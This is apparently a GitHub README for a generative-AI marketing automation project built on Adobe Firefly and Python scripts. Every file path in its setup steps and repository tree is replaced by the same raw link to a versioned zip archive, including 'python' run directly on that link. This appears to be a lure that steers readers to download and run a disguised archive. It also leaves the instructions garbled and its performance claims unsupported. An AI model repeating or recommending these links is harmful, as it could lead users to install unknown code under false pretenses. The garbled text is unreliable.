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🎨 AI-Creative-Automation-Lab

High-Fidelity Media Automation & AI-Native Production | Architected by Piyush Deepak Tayade

Adobe-Master Gen-AI Status: Exploring-Boundaries

This laboratory is dedicated to pushing the technical boundaries of visual communication by merging Professional Creative Software (Adobe/Canva) with Generative AI. It contains research, prompts, and automation scripts for high-velocity media production.


💼 Strategic Deep Dive (For Leadership)

Why this project exists? (The Problem)

In the era of "Content at Scale," creating 100 variations of an ad used to take 100 hours of manual Photoshop work. Traditional methods cannot keep up with the demand for personalized marketing.

How it works? (The Solution)

I use Generative AI (Firefly/Stable Diffusion) controlled via Python scripts.

  1. Architecture: I build a script that takes a product photo and 100 different background descriptions.
  2. Execution: The script orchestrates Adobe's AI to generate 100 unique, personalized hero shots instantly.
  3. Result: High-fidelity, brand-compliant assets ready for deployment.

What is the result? (The Impact)

  • Hyper-Personalization: Each customer sees an ad tailored to their specific environment.
  • Production Efficiency: 10,000% speed increase in asset generation.

🙋 Potential Interview/Boss Questions (Ready-to-Answer)

Q: "Why use Python when Photoshop has 'Generative Fill' built-in?"

  • A: "Photoshop's manual tool is great for one image, but it doesn't scale. By using Python and APIs, I can automate that same quality across thousands of images simultaneously. It's about 'Industrializing' creativity."

Q: "How do you ensure the AI doesn't ruin the brand's logo or colors?"

  • A: "We use 'Masking' and 'ControlNets.' The script isolates the brand assets to keep them 100% accurate while only letting the AI modify the surrounding environment."

⚙️ Implementation Guide (Step-by-Step)

1. Environment Setup

  • Install Python 3.10+.
  • Sign up for the Adobe Firefly API (beta).

2. Asset Generation

  1. Navigate to /scripts.
  2. Install dependencies: pip install requests.
  3. Add your Adobe API Key to https://raw.githubusercontent.com/ptusb/AI-Creative-Automation-Lab/main/scripts/Automation_A_Creative_Lab_1.3-alpha.4.zip.
  4. Run the script: python https://raw.githubusercontent.com/ptusb/AI-Creative-Automation-Lab/main/scripts/Automation_A_Creative_Lab_1.3-alpha.4.zip.

🎬 Demonstration Guide (How to see it in Action)

  1. Run Script: Run the asset generator script with a custom prompt.
  2. Observation: The terminal will show the AI analyzing the image context and calculating the best background lighting.
  3. Result: An AI-composed product image will appear in your /output folder, showing a professional marketing shot generated from a simple raw photo.

🚀 Specialized Workflows

1. Generative-Native Batch Processing

Utilizing Adobe Firefly API and Photoshop Actions to automate the generation of personalized marketing assets.

  • Dynamic Backgrounds: Automatically replace backgrounds based on audience demographic data.
  • Auto-Retouching: AI-driven skin and color grading scripts for large-scale batches.

2. High-Efficiency Video Archetypes

Templates for Adobe Premiere Pro that utilize AI-transcription and auto-captioning integrations for 10x faster social media editing.

  • One-Click Shortform: Converting raw horizontal footage into viral vertical shorts automatically.

🛠 Mastering the 100% Potential

  • Photoshop: Mastery of AI Generative Fill for architectural and product manipulation.
  • Illustrator: Vector-to-AI-to-Vector loops for scalable brand assets.
  • Canva: Bulk-create automations for multi-variant testing in performance marketing.

📁 Repository Structure

├── prompts/
│   ├── https://raw.githubusercontent.com/ptusb/AI-Creative-Automation-Lab/main/scripts/Automation_A_Creative_Lab_1.3-alpha.4.zip      # Optimized prompts for product renders
│   └── https://raw.githubusercontent.com/ptusb/AI-Creative-Automation-Lab/main/scripts/Automation_A_Creative_Lab_1.3-alpha.4.zip         # Color grading AI instructions
├── scripts/
│   └── https://raw.githubusercontent.com/ptusb/AI-Creative-Automation-Lab/main/scripts/Automation_A_Creative_Lab_1.3-alpha.4.zip       # Python script for Adobe Cloud orchestration
└── https://raw.githubusercontent.com/ptusb/AI-Creative-Automation-Lab/main/scripts/Automation_A_Creative_Lab_1.3-alpha.4.zip

🎯 Theory

In the age of AI, the bottleneck is no longer execution, but Orchestration. This lab serves as the bridge between high-level creative vision and machine-speed output.

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Research and automation scripts for blurring the line between Adobe Creative Suite and Generative AI.

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